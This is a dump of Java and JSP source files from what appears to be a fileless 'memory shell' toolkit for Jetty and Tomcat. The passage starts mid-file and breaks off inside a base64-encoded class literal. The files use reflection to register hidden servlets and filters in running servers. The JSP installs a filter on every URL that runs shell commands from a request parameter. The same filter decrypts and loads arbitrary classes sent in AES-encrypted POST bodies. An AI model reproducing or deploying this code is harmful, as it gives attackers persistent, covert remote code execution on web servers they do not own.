51 | field.setAccessible(true); 52 | Object handler = field.get(webAppContext); 53 | 54 | field = handler.getClass().getDeclaredField("_servlets"); 55 | field.setAccessible(true); 56 | Object[] objects = (Object[]) field.get(handler); 57 | 58 | boolean flag = false; 59 | for(Object o : objects){ 60 | field = o.getClass().getSuperclass().getDeclaredField("_name"); 61 | field.setAccessible(true); 62 | String name = (String)field.get(o); 63 | if(name.equals(servletName)){ 64 | flag = true; 65 | break; 66 | } 67 | } 68 | 69 | if(!flag){ 70 | System.out.println("[+] Add Dynamic Servlet"); 71 | 72 | ClassLoader classLoader = handler.getClass().getClassLoader(); 73 | Class sourceClazz = null; 74 | Object holder = null; 75 | try{ 76 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); 77 | field = sourceClazz.getDeclaredField("JAVAX_API"); 78 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 79 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); 80 | holder = method.invoke(handler, field.get(null)); 81 | }catch(ClassNotFoundException e){ 82 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); 83 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); 84 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); 85 | } 86 | 87 | holder.getClass().getMethod("setName", String.class).invoke(holder, servletName); 88 | Servlet servlet = new ServletTemplate(); 89 | holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet); 90 | handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder); 91 | 92 | // ServletMapping mappingx = new ServletMapping(Source.JAVAX_API); 93 | // mappingx.setServletName(ServletHolder.this.getName()); 94 | // mappingx.setPathSpecs(urlPatterns); 95 | // ServletHolder.this.getServletHandler().addServletMapping(mappingx); 96 | 97 | Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); 98 | Object servletMapping = null; 99 | try{ 100 | servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); 101 | }catch(NoSuchMethodException e){ 102 | servletMapping = clazz.newInstance(); 103 | } 104 | 105 | servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName); 106 | servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}}); 107 | handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping); 108 | } 109 | }catch(Exception e){ 110 | //pass 111 | } 112 | } 113 | }catch(Exception e){ 114 | e.printStackTrace(); 115 | } 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/jetty/ServletBasedWithoutRequestVariant.java: -------------------------------------------------------------------------------- 1 | package com.memshell.jetty; 2 | 3 | import com.memshell.generic.Util; 4 | import com.sun.jmx.mbeanserver.JmxMBeanServer; 5 | import com.sun.jmx.mbeanserver.NamedObject; 6 | import com.sun.jmx.mbeanserver.Repository; 7 | import javax.management.ObjectName; 8 | import javax.servlet.Servlet; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.lang.management.ManagementFactory; 13 | import java.lang.reflect.Field; 14 | import java.lang.reflect.Method; 15 | import java.lang.reflect.Modifier; 16 | import java.util.Set; 17 | 18 | public class ServletBasedWithoutRequestVariant extends HttpServlet { 19 | @Override 20 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 21 | // 不管是这种方式拿到的 webAppContext 还是是通过 req.getServletContext() 拿到的 webAppContext 22 | // 他们的类加载器都是 startJarLoader,不同于 Thread.currentThread().getContextClassLoader() 23 | // 导致只能通过反射的方式完成整个步骤,否则就会抛 ClassNotFoundException 异常 24 | 25 | try{ 26 | String servletName = "myServlet2"; 27 | String urlPattern = "/yyy"; 28 | 29 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); 30 | 31 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); 32 | field.setAccessible(true); 33 | Object obj = field.get(mBeanServer); 34 | 35 | field = obj.getClass().getDeclaredField("repository"); 36 | field.setAccessible(true); 37 | Field modifier = field.getClass().getDeclaredField("modifiers"); 38 | modifier.setAccessible(true); 39 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 40 | Repository repository = (Repository)field.get(obj); 41 | 42 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); 43 | for(NamedObject namedObject : namedObjectSet){ 44 | try{ 45 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); 46 | field.setAccessible(true); 47 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 48 | Object webAppContext = field.get(namedObject.getObject()); 49 | 50 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); 51 | field.setAccessible(true); 52 | Object handler = field.get(webAppContext); 53 | 54 | field = handler.getClass().getDeclaredField("_servlets"); 55 | field.setAccessible(true); 56 | Object[] objects = (Object[]) field.get(handler); 57 | 58 | boolean flag = false; 59 | for(Object o : objects){ 60 | field = o.getClass().getSuperclass().getDeclaredField("_name"); 61 | field.setAccessible(true); 62 | String name = (String)field.get(o); 63 | if(name.equals(servletName)){ 64 | flag = true; 65 | break; 66 | } 67 | } 68 | 69 | if(!flag){ 70 | System.out.println("[+] Add Dynamic Servlet"); 71 | 72 | ClassLoader classLoader = handler.getClass().getClassLoader(); 73 | Class sourceClazz = null; 74 | Object holder = null; 75 | try{ 76 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); 77 | field = sourceClazz.getDeclaredField("JAVAX_API"); 78 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 79 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); 80 | holder = method.invoke(handler, field.get(null)); 81 | }catch(ClassNotFoundException e){ 82 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); 83 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); 84 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); 85 | } 86 | 87 | holder.getClass().getMethod("setName", String.class).invoke(holder, servletName); 88 | Class clazz = Util.getDynamicServletTemplateClass(); 89 | holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, clazz.newInstance()); 90 | handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder); 91 | 92 | // ServletMapping mappingx = new ServletMapping(Source.JAVAX_API); 93 | // mappingx.setServletName(ServletHolder.this.getName()); 94 | // mappingx.setPathSpecs(urlPatterns); 95 | // ServletHolder.this.getServletHandler().addServletMapping(mappingx); 96 | 97 | clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); 98 | Object servletMapping = null; 99 | try{ 100 | servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); 101 | }catch(NoSuchMethodException e){ 102 | servletMapping = clazz.newInstance(); 103 | } 104 | 105 | servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName); 106 | servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}}); 107 | handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping); 108 | } 109 | }catch(Exception e){ 110 | //pass 111 | } 112 | } 113 | }catch(Exception e){ 114 | e.printStackTrace(); 115 | } 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/tomcat/FilterBasedWithoutRequestVariant.java: -------------------------------------------------------------------------------- 1 | package com.memshell.tomcat; 2 | 3 | import com.memshell.generic.Util; 4 | import com.sun.jmx.mbeanserver.NamedObject; 5 | import com.sun.jmx.mbeanserver.Repository; 6 | import org.apache.catalina.Context; 7 | import org.apache.catalina.core.ApplicationFilterConfig; 8 | import org.apache.catalina.core.StandardContext; 9 | import org.apache.tomcat.util.modeler.Registry; 10 | import javax.management.DynamicMBean; 11 | import javax.management.MBeanServer; 12 | import javax.management.ObjectName; 13 | import javax.servlet.DispatcherType; 14 | import javax.servlet.Filter; 15 | import javax.servlet.http.HttpServlet; 16 | import javax.servlet.http.HttpServletRequest; 17 | import javax.servlet.http.HttpServletResponse; 18 | import java.lang.reflect.Constructor; 19 | import java.lang.reflect.Field; 20 | import java.util.HashMap; 21 | import java.util.Set; 22 | 23 | public class FilterBasedWithoutRequestVariant extends HttpServlet { 24 | @Override 25 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 26 | // 参考: 27 | // 《Tomcat源代码调试:看不见的Shell第一式》 https://www.freebuf.com/articles/web/151431.html 28 | // 《基于tomcat的内存 Webshell 无文件攻击技术》 https://xz.aliyun.com/t/7388 29 | // 《动态注册之Servlet+Filter+Listener》 https://www.jianshu.com/p/cbe1c3174d41 30 | // 《基于Tomcat无文件Webshell研究》 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 31 | // 《tomcat不出网回显连续剧第六集》 https://xz.aliyun.com/t/7535 32 | // 《tomcat结合shiro无文件webshell的技术研究以及检测方法》 https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg 33 | // 34 | // 适用范围: Tomcat 7 ~ 9 35 | 36 | try{ 37 | String filterName = "dynamic3"; 38 | String urlPattern = "/ccc"; 39 | 40 | MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); 41 | Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); 42 | field.setAccessible(true); 43 | Object obj = field.get(mbeanServer); 44 | 45 | field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); 46 | field.setAccessible(true); 47 | Repository repository = (Repository) field.get(obj); 48 | 49 | Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); 50 | for(NamedObject namedObject : objectSet){ 51 | try{ 52 | DynamicMBean dynamicMBean = namedObject.getObject(); 53 | field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); 54 | field.setAccessible(true); 55 | obj = field.get(dynamicMBean); 56 | 57 | field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); 58 | field.setAccessible(true); 59 | StandardContext standardContext = (StandardContext)field.get(obj); 60 | 61 | field = standardContext.getClass().getDeclaredField("filterConfigs"); 62 | field.setAccessible(true); 63 | HashMap map = (HashMap) field.get(standardContext); 64 | 65 | if(map.get(filterName) == null) { 66 | System.out.println("[+] Add Dynamic Filter"); 67 | 68 | //生成 FilterDef 69 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 70 | Class filterDefClass = null; 71 | try { 72 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); 73 | } catch (ClassNotFoundException e) { 74 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 75 | } 76 | 77 | Object filterDef = filterDefClass.newInstance(); 78 | filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, filterName); 79 | 80 | Class clazz = Util.getDynamicFilterTemplateClass(); 81 | filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, clazz.getName()); 82 | filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, clazz.newInstance()); 83 | standardContext.getClass().getDeclaredMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef); 84 | 85 | //设置 FilterMap 86 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 87 | Class filterMapClass = null; 88 | try { 89 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); 90 | } catch (ClassNotFoundException e) { 91 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); 92 | } 93 | 94 | //使用 addFilterMapBefore 会自动把我们创建的 filterMap 丢到第一位去,无需在手动排序了 95 | //其他中间件应该也是类似的 96 | Object filterMap = filterMapClass.newInstance(); 97 | filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, filterName); 98 | filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, DispatcherType.REQUEST.name()); 99 | filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, urlPattern); 100 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap); 101 | 102 | //设置 FilterConfig 103 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass); 104 | constructor.setAccessible(true); 105 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); 106 | map.put(filterName, filterConfig); 107 | } 108 | }catch(Exception e){ 109 | //pass 110 | } 111 | } 112 | }catch(Exception e){ 113 | e.printStackTrace(); 114 | } 115 | } 116 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/tomcat/FilterBasedWithoutRequest.java: -------------------------------------------------------------------------------- 1 | package com.memshell.tomcat; 2 | 3 | import com.memshell.generic.FilterTemplate; 4 | import com.sun.jmx.mbeanserver.NamedObject; 5 | import com.sun.jmx.mbeanserver.Repository; 6 | import org.apache.catalina.Context; 7 | import org.apache.catalina.core.ApplicationFilterConfig; 8 | import org.apache.catalina.core.StandardContext; 9 | import org.apache.tomcat.util.modeler.Registry; 10 | import javax.management.DynamicMBean; 11 | import javax.management.MBeanServer; 12 | import javax.management.ObjectName; 13 | import javax.servlet.*; 14 | import javax.servlet.http.HttpServlet; 15 | import javax.servlet.http.HttpServletRequest; 16 | import javax.servlet.http.HttpServletResponse; 17 | import java.lang.reflect.Constructor; 18 | import java.lang.reflect.Field; 19 | import java.util.*; 20 | 21 | public class FilterBasedWithoutRequest extends HttpServlet { 22 | @Override 23 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 24 | // 参考: 25 | // 《Tomcat源代码调试:看不见的Shell第一式》 https://www.freebuf.com/articles/web/151431.html 26 | // 《基于tomcat的内存 Webshell 无文件攻击技术》 https://xz.aliyun.com/t/7388 27 | // 《动态注册之Servlet+Filter+Listener》 https://www.jianshu.com/p/cbe1c3174d41 28 | // 《基于Tomcat无文件Webshell研究》 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 29 | // 《tomcat不出网回显连续剧第六集》 https://xz.aliyun.com/t/7535 30 | // 《tomcat结合shiro无文件webshell的技术研究以及检测方法》 https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg 31 | // 32 | // 适用范围: Tomcat 7 ~ 9 33 | 34 | try{ 35 | String filterName = "dynamic2"; 36 | String urlPattern = "/bbb"; 37 | 38 | MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); 39 | Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); 40 | field.setAccessible(true); 41 | Object obj = field.get(mbeanServer); 42 | 43 | field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); 44 | field.setAccessible(true); 45 | Repository repository = (Repository) field.get(obj); 46 | 47 | Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); 48 | Iterator iterator = objectSet.iterator(); 49 | while(iterator.hasNext()) { 50 | try{ 51 | DynamicMBean dynamicMBean = iterator.next().getObject(); 52 | field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); 53 | field.setAccessible(true); 54 | obj = field.get(dynamicMBean); 55 | 56 | field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); 57 | field.setAccessible(true); 58 | StandardContext standardContext = (StandardContext) field.get(obj); 59 | 60 | field = standardContext.getClass().getDeclaredField("filterConfigs"); 61 | field.setAccessible(true); 62 | HashMap map = (HashMap) field.get(standardContext); 63 | 64 | if(map.get(filterName) == null){ 65 | System.out.println("[+] Add Dynamic Filter"); 66 | 67 | //生成 FilterDef 68 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 69 | Class filterDefClass = null; 70 | try{ 71 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); 72 | }catch(ClassNotFoundException e){ 73 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 74 | } 75 | 76 | Object filterDef = filterDefClass.newInstance(); 77 | filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName}); 78 | Filter filter = new FilterTemplate(); 79 | 80 | filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()}); 81 | filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object[]{filter}); 82 | standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, new Object[]{filterDef}); 83 | 84 | //设置 FilterMap 85 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 86 | Class filterMapClass = null; 87 | try { 88 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); 89 | } catch (ClassNotFoundException e) { 90 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); 91 | } 92 | 93 | Object filterMap = filterMapClass.newInstance(); 94 | filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, new Object[]{filterName}); 95 | filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, new Object[]{DispatcherType.REQUEST.name()}); 96 | filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, new Object[]{urlPattern}); 97 | //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了 98 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, new Object[]{filterMap}); 99 | 100 | //设置 FilterConfig 101 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(new Class[]{Context.class, filterDefClass}); 102 | constructor.setAccessible(true); 103 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef}); 104 | map.put(filterName, filterConfig); 105 | } 106 | }catch(Exception e){ 107 | //pass 108 | } 109 | } 110 | }catch(Exception e){ 111 | e.printStackTrace(); 112 | } 113 | } 114 | } -------------------------------------------------------------------------------- /src/main/webapp/tomcat.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.lang.reflect.Field" %> 2 | <%@ page import="org.apache.catalina.core.ApplicationContext" %> 3 | <%@ page import="java.lang.reflect.Modifier" %> 4 | <%@ page import="org.apache.catalina.core.StandardContext" %> 5 | <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> 6 | <%@ page import="java.util.HashMap" %> 7 | <%@ page import="java.io.IOException" %> 8 | <%@ page import="java.util.Scanner" %> 9 | <%@ page import="java.util.UUID" %> 10 | <%@ page import="javax.crypto.Cipher" %> 11 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 12 | <%@ page import="java.lang.reflect.Method" %> 13 | <%@ page import="java.lang.reflect.Constructor" %> 14 | <%@ page import="org.apache.catalina.Context" %> 15 | <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %> 16 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 17 | <% 18 | try{ 19 | 20 | String filterName = "dynamic1"; 21 | String urlPattern = "/*"; 22 | final String password = "pass"; 23 | 24 | // 获取 standardContext 25 | final ServletContext servletContext = request.getSession().getServletContext(); 26 | 27 | Field field = servletContext.getClass().getDeclaredField("context"); 28 | field.setAccessible(true); 29 | ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); 30 | 31 | field = applicationContext.getClass().getDeclaredField("context"); 32 | field.setAccessible(true); 33 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 34 | modifiersField.setAccessible(true); 35 | modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); 36 | StandardContext standardContext = (StandardContext) field.get(applicationContext); 37 | 38 | field = standardContext.getClass().getDeclaredField("filterConfigs"); 39 | field.setAccessible(true); 40 | HashMap map = (HashMap) field.get(standardContext); 41 | 42 | if(map.get(filterName) == null){ 43 | System.out.println("[+] Add Dynamic Filter"); 44 | 45 | //生成 FilterDef 46 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 47 | Class filterDefClass = null; 48 | try{ 49 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); 50 | }catch(ClassNotFoundException e){ 51 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 52 | } 53 | 54 | Object filterDef = filterDefClass.newInstance(); 55 | filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName}); 56 | Filter filter = new Filter() { 57 | @Override 58 | public void init(FilterConfig filterConfig) throws ServletException { 59 | 60 | } 61 | 62 | @Override 63 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 64 | System.out.println("[+] Dynamic Filter says hello"); 65 | 66 | String type = servletRequest.getParameter("type"); 67 | if(type != null && type.equals("basic")){ 68 | String cmd = servletRequest.getParameter(password); 69 | if(cmd != null && !cmd.isEmpty()){ 70 | String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 71 | servletResponse.getWriter().println(result); 72 | } 73 | }else if(((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null){ 74 | try{ 75 | if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) { 76 | String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ 77 | ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k); 78 | Cipher cipher = Cipher.getInstance("AES"); 79 | cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); 80 | byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); 81 | Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes); 82 | Object evilObject = evilClass.newInstance(); 83 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 84 | targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); 85 | } 86 | }catch(Exception e){ 87 | e.printStackTrace(); 88 | } 89 | }else{ 90 | filterChain.doFilter(servletRequest, servletResponse); 91 | } 92 | } 93 | 94 | @Override 95 | public void destroy() { 96 | 97 | } 98 | 99 | class U extends ClassLoader{ 100 | U(ClassLoader c){super(c);} 101 | 102 | public Class g(byte []b){return super.defineClass(b,0,b.length);} 103 | } 104 | }; 105 | 106 | 107 | filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()}); 108 | filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object[]{filter}); 109 | standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, new Object[]{filterDef}); 110 | 111 | //设置 FilterMap 112 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 113 | Class filterMapClass = null; 114 | try{ 115 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); 116 | }catch (ClassNotFoundException e){ 117 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); 118 | } 119 | 120 | Object filterMap = filterMapClass.newInstance(); 121 | filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, new Object[]{filterName}); 122 | filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, new Object[]{DispatcherType.REQUEST.name()}); 123 | filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, new Object[]{urlPattern}); 124 | //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了 125 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, new Object[]{filterMap}); 126 | 127 | //设置 FilterConfig 128 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(new Class[]{Context.class, filterDefClass}); 129 | constructor.setAccessible(true); 130 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef}); 131 | map.put(filterName, filterConfig); 132 | } 133 | }catch(Exception e){ 134 | e.printStackTrace(); 135 | } 136 | %> 137 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/generic/Util.java: -------------------------------------------------------------------------------- 1 | package com.memshell.generic; 2 | 3 | import sun.misc.BASE64Decoder; 4 | import java.io.IOException; 5 | import java.lang.reflect.InvocationTargetException; 6 | import java.lang.reflect.Method; 7 | 8 | public class Util { 9 | public static Class getDynamicFilterTemplateClass() throws IOException, InvocationTargetException, IllegalAccessException { 10 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 11 | Class clazz; 12 | try{ 13 | clazz = cl.loadClass("com.memshell.generic.DynamicFilterTemplate"); 14 | }catch(ClassNotFoundException e){ 15 | BASE64Decoder base64Decoder = new BASE64Decoder(); 16 | String codeClass = "yv66vgAAADIBWQoAPwChCgBaAKIJAKMApAgApQoApgCnCACoCwBFAKkIAKoKAA4AqwoArACtCgAOAK4JAK8AsAgAsQcAsggAswgAtAgAcQgAtQcAtgoAtwC4CgC3ALkKALoAuwoAEwC8CAC9CgATAL4KABMAvwsARgDACgDBAKcHAMIKAKwAwwsAHQDECwAdAMUIAMYKAKwAxwsAHQDICADJCwDKAMsIAMwKAM0AzgcAzwcA0AoAKQChCwDKANEKACkA0ggA0woAKQDUCgApANUKAA4A1goAKADXCgDNANgHANkKADMAoQsARQDaCgDbANwKADMA3QoAzQDeCQBaAN8IAOAHAOEHAHYHAOIKADsA4wcA5AoA5QDmCgDlAOcKAOgA6QoAOwDqCADrBwDsBwDtBwDuCgBHAO8LAPAA8QgA8goAPQDzBwD0CgA/APUJAPYA9wcA+AoAOwD5CAD6CgDoAPsKAPYA/AcA/QoAVADvBwD+CgBWAO8HAP8KAFgA7wcBAAcBAQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL21lbXNoZWxsL2dlbmVyaWMvRHluYW1pY0ZpbHRlclRlbXBsYXRlOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAQIBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAsgcAbgcA7gEAB2Rlc3Ryb3kBAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAAVjbGF6egEABm1ldGhvZAEABGNvZGUBAAVieXRlcwEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcBAAcA4gcA9AcA4QcBAwcA+AcA/QcA/gcA/wEAClNvdXJjZUZpbGUBABpEeW5hbWljRmlsdGVyVGVtcGxhdGUuamF2YQwAXgBfDACJAF8HAQQMAQUBBgEAHVsrXSBEeW5hbWljIEZpbHRlciBzYXlzIGhlbGxvBwEHDAEIAQkBAAR0eXBlDAEKAQsBAAViYXNpYwwA6wEMBw